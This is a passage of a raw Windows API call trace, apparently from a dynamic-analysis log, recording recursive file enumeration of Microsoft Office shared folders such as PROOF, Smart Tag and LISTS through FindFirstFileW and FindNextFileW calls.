nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 0 [0286.172] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0286.172] GetProcessHeap () returned 0xaf0000 [0286.172] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.173] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0fbc434, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0fbc434, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf10a1263, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2c40, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0286.173] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2497e17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2497e17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe261555e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dc70, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OLicenseHeartbeat.exe", cAlternateFileName="OLICEN~1.EXE")) returned 1 [0286.173] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e0ae4d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e0ae4d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e310c7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52e8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1 [0286.173] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc3bd4d47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc3bd4d47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bfaf93, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="oregres.dll", cAlternateFileName="")) returned 1 [0286.174] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4c8553f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc576616a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd8a374ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2218a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0286.174] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6cdf4b7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6cdf4b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6cdf4b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xefec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0286.175] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb6ed802, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb6ed802, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb713a45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4898, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 [0286.175] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf81e1182, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf81e1182, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf8574958, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f4b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0286.175] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf107afe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf107afe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf10a1263, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0286.175] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c40a24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x290d8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0286.175] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b0f72e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x24eed0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="WXPNSE.DLL", cAlternateFileName="")) returned 1 [0286.175] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b0f72e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x24eed0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="WXPNSE.DLL", cAlternateFileName="")) returned 0 [0286.175] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0286.175] GetProcessHeap () returned 0xaf0000 [0286.175] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0286.176] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8d02b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0286.176] GetProcessHeap () returned 0xaf0000 [0286.176] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0286.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8d02b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0286.176] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8d02b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.176] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x872b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0286.176] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8d02b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8d02b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9429c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0286.176] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb9c364d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb9c364d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc85db99, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0286.176] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb99d23b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb99d23b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb9c364d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0286.177] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb99d23b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb99d23b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb9c364d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0 [0286.177] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0286.177] GetProcessHeap () returned 0xaf0000 [0286.177] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0286.177] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc576616a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0286.177] GetProcessHeap () returned 0xaf0000 [0286.177] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0286.177] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc576616a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0286.179] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc576616a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.179] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf07b04e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf07b04e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0286.179] GetProcessHeap () returned 0xaf0000 [0286.179] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.180] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\1033\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf07b04e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf07b04e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0286.181] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf07b04e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf07b04e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.181] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0286.181] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf07b04e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf07b04e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf07b04e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x46c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0286.181] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf07b04e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf07b04e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf07b04e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x46c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 0 [0286.181] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0286.181] GetProcessHeap () returned 0xaf0000 [0286.181] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.181] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc62081b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc62081b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc62081b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1bac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0286.181] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc5fa5d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc5fa5d2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc62081b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19c60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0286.181] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4abf9f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x35cc0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1 [0286.182] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12b7378, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12dd5ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e460, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1 [0286.182] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf49ffe0a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf49ffe0a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4a98712, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1 [0286.182] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5127e7d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5127e7d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5127e7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3c460, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1 [0286.182] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf37f804b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf37f804b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf3b3f424, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19a60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="IMCONT~1.DLL")) returned 1 [0286.182] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc883e0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1 [0286.182] GetProcessHeap () returned 0xaf0000 [0286.182] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.182] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc883e0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0286.183] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc883e0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.183] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc883e0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc883e0d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0286.183] GetProcessHeap () returned 0xaf0000 [0286.183] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a6270 [0286.183] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc883e0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc883e0d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.183] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc883e0d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc883e0d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8aa06f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.183] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce4c0 | out: 